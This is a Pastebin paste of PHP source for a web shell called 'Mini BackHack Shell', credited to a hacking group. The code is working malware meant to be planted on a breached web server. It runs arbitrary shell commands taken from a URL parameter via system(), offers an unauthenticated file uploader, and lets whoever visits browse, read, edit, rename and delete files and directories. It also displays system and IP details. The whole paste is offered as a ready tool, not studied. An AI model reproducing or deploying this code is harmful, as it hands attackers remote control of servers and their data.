Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- set_time_limit(0);
- ###################################
- # Ganti Copyright Ga Bikin Lu # Coded By Cy#b3r00T
- # Jadi Hacker, Coder, Lo Sampah! # Copyright (c) 2018 Sora Cyber Team
- # Jadilah Orang Yang Kreatif! # HEKER KOK BUTA PROGRAM HAHAHAHHA! SAMPAH EUY?
- ###################################
- //---> Thanks All Member Sora Cyber Team <---//
- //Style
- echo "<title><<-- Mini BackHack! --></title>
- <body bgcolor='black'><font size='4' color='white'>
- <style>
- table{
- border: 1px dotted;
- }
- th{
- color: white;
- }
- td{
- color:white;
- border: none;
- }
- a{
- color:white;
- text-decoration: none;
- }
- a:hover{
- color:lime;
- text-shadow:0px 0px 3px lime;
- }
- a1{
- color:black;
- text-decoration: none;
- }
- a1:hover{
- color:lime;
- text-shadow:0px 0px 3px lime;
- }
- </style><pre>";
- //Info
- $ip1=$_SERVER['REMOTE_ADDR'];
- $ip2=$_SERVER['SERVER_ADDR'];
- $uname=php_uname();
- $function=@ini_get('disable_functions');
- echo "
- _____________
- | Mini Back | <font color='lime'>$uname</font>
- | Shell | Server IP : $ip2 <font color='lime'>//</font> Your IP : $ip1
- ---------------
- | Cy#b3r00T | ==> <font color='lime'>$function</font>";
- //Uploader
- echo "</pre><font size='2'><form action='' enctype='multipart/form-data' method='POST'>
- <input type='file' name='filena'> <input type='submit' name='upload' value='Upload'>";
- echo " 
- {<a href='?home'> Home </a>}
- {<a href='?command'> Command </a>}
- {<a href='?about'> About </a>}
- </form></font>";
- if(isset($_POST['upload'])){
- $cwd=getcwd();
- $tmp=$_FILES['filena']['tmp_name'];
- $filena=$_FILES['filena']['name'];
- if(@copy($tmp, $filena)){
- echo "Sukses => $cwd/$filena";
- }else{
- echo "Gagal :(";
- }
- }
- //Command
- if(isset($_GET['command'])){
- $xcmd=$_GET['cmd'];
- echo "<font size='2'><form action='' method='GET'>
- <input type='hidden' name='command'>
- $ip2@$ip1:~$<input type='text' name='cmd'> <input type='submit' name='exe' value='>>'></form>";
- echo "<pre><textarea cols='79' rows='20'>";
- htmlspecialchars((system($xcmd)));
- echo "</textarea></pre><script>";
- }
- //About
- if(isset($_GET['about'])){
- echo "<center><pre>
- <<-- Mini BackHack Shell -->>
- -----------------------
- Coded By Cy#b3r00T
- -----------------------
- Kritik & Saran:
- soracyberteam@gmail.com<script>";
- }
- ?><?php
- function perms($file){
- $perms = fileperms($file);
- if (($perms & 0xC000) == 0xC000) {
- // Socket
- $info = 's';
- } elseif (($perms & 0xA000) == 0xA000) {
- // Symbolic Link
- $info = 'l';
- } elseif (($perms & 0x8000) == 0x8000) {
- // Regular
- $info = '-';
- } elseif (($perms & 0x6000) == 0x6000) {
- // Block special
- $info = 'b';
- } elseif (($perms & 0x4000) == 0x4000) {
- // Directory
- $info = 'd';
- } elseif (($perms & 0x2000) == 0x2000) {
- // Character special
- $info = 'c';
- } elseif (($perms & 0x1000) == 0x1000) {
- // FIFO pipe
- $info = 'p';
- } else {
- // Unknown
- $info = 'u';
- }
- // Owner
- $info .= (($perms & 0x0100) ? 'r' : '-');
- $info .= (($perms & 0x0080) ? 'w' : '-');
- $info .= (($perms & 0x0040) ?
- (($perms & 0x0800) ? 's' : 'x' ) :
- (($perms & 0x0800) ? 'S' : '-'));
- // Group
- $info .= (($perms & 0x0020) ? 'r' : '-');
- $info .= (($perms & 0x0010) ? 'w' : '-');
- $info .= (($perms & 0x0008) ?
- (($perms & 0x0400) ? 's' : 'x' ) :
- (($perms & 0x0400) ? 'S' : '-'));
- // World
- $info .= (($perms & 0x0004) ? 'r' : '-');
- $info .= (($perms & 0x0002) ? 'w' : '-');
- $info .= (($perms & 0x0001) ?
- (($perms & 0x0200) ? 't' : 'x' ) :
- (($perms & 0x0200) ? 'T' : '-'));
- return $info;
- }if(isset($_GET['source'])){
- $file=$_GET['source'];
- $content=file_get_contents("$file");
- $special=htmlspecialchars("$content");
- echo "<pre>Current File: $file
- $special<script>";
- }if(isset($_GET['edit'])){
- $file=$_GET['edit'];
- $path=$_GET['dir'];
- $content=file_get_contents("$file");
- if(isset($_POST['save'])){
- $file=$_POST['edit'];
- $buka=fopen("$file", "w");
- $source=$_POST['source'];
- if(fwrite($buka,$source)){
- echo "Saved!<script>";
- }else{
- echo "Failed!<script>";
- }fclose($buka);
- }echo "
- <form action='' method='POST'>
- <input type='hidden' name='dir' value='$path'>
- <input type='hidden' name='edit' value='$file'>
- <textarea cols=100 rows=30 name=source>".htmlspecialchars($content)."</textarea><br>
- <input type='submit' name='save' value='Save'></form><script>";
- }if(isset($_GET['rename'])){
- if(isset($_POST['renamed'])){
- $old=$_POST['old'];
- $new=$_POST['new'];
- $dir=$_POST['dir'];
- if(rename("$old", "$dir/$new")){
- echo "Success<script>";
- }else{
- echo "Failed,<script>";
- }
- }$old=$_GET['rename'];
- $oldx=basename($old);
- $dir=$_GET['dir'];
- echo "<center><pre><form action='' method='POST'>
- <input type='hidden' name='dir' value='$dir'>
- <input type='hidden' name='old' value='$old'>
- New Name: <input type='text' name='new' value='$oldx'><br>
- <input type='submit' name='renamed' value='Rename'></form><script>";
- }if(isset($_GET['delete'])){
- $delete=$_GET['delete'];
- if(@unlink($delete)){
- echo "Success<script>";
- }else{
- echo "Failed<script>";
- }
- }if(isset($_GET['deldir'])){
- $deldir=$_GET['deldir'];
- if(rmdir($deldir)){
- echo "Success<script>";
- }else{
- echo "Failed<script>";
- }
- }if(isset($_GET['makefile'])){
- $dir=$_GET['dir'];
- echo "<center><pre><form action='' method='GET'>
- <input type='hidden' name='dir' value='$dir'>
- File Name : <input type='text' name='filename'>
- <input type='submit' name='maked' value='Go!'></form><script>";
- }
- if($_GET['maked']){
- $dir=$_GET['dir'];
- $filename=$_GET['filename'];
- echo "<script>window.location='?dir=$dir&edit=$dir/$filename';</script>";
- }if(isset($_GET['makedir'])){
- $dir=$_GET['dir'];
- $newdir=$_GET['newdir'];
- echo "<center><pre><form action='' method='GET'>
- <input type='hidden' name='dir' value='$dir'>
- New Name : <input type='text' name='newdir'>
- <input type='submit' name='makeds' value='Go!'></form><script>";
- }
- if(isset($_GET['makeds'])){
- $dir=$_GET['dir'];
- $newdir=$_GET['newdir'];
- if(mkdir("$dir/$newdir")){
- echo "</script></pre></center>Success!<script>";
- }else{
- echo "</script></pre></center>Permission Denied!<script>";
- }
- }
- //Explore
- if(isset($_GET['dir'])){
- $path=$_GET['dir'];
- }else{
- $path=getcwd();
- }$path = str_replace('\\','/',$path);
- $paths = explode('/',$path);
- foreach($paths as $id=>$pat){
- $a = true;
- if($pat == '' && $id == 0){
- echo '<pre> ==> Current Dir : <a href="?dir=/">/</a>';
- continue;
- }
- if($pat == '') continue;
- echo '<a href="?dir=';
- for($i=0;$i<=$id;$i++){
- echo "$paths[$i]";
- if($i != $id) echo "/";
- }
- echo '">'.$pat.'</a>/';
- }
- echo "</pre><pre> { <a href='?dir=$path&makedir'>New Directory</a> } { <a href='?dir=$path&makefile'>New File</a> }
- <table width=900 border=1 cellpadding=3 cellspacing=1 align=center>
- <th width=500>Name</th>
- <th width=100>Type</th>
- <th width=200>Size</th>
- <th width=200>Permission</th>
- <th width=500>Option</th>
- <tr>";
- $scandir = scandir($path);
- foreach($scandir as $dir){
- if(!is_dir($path.'/'.$dir) || $dir == '.zz' || $dir == '..zz')
- {
- $size=filesize($dir)/1024;
- $size = round($size,3);
- if($size >= 1024){
- $size = round($size/1024,2).' MB';
- }else{
- $size = $size.' KB';
- }
- $permsfile=perms($dir);
- $permsdir=perms($path);
- echo "
- <td><a href='?source=$path/$dir'>$dir</a></td>
- <td>File</td>
- <td>$size</td>
- <td>$permsfile</td>
- <td>
- <a href='?dir=$path&edit=$path/$dir'>Edit</a> |
- <a href='?dir=$path&rename=$path/$dir'>Rename</a> |
- <a href='?dir=$path&delete=$path/$dir'>Delete</a>
- </td>
- </tr>";
- }else{
- echo "
- <td><a href='?dir=$path/$dir'>$dir</a></td>
- <td>Dir</td>
- <td>-</td>
- <td>$permsdir</td>
- <td><a href='?dir=$path&rename=$path/$dir'>Rename</a> |
- <a href='?dir=$path&deldir=$path/$dir'>Delete</a></td>
- </tr>
- ";
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement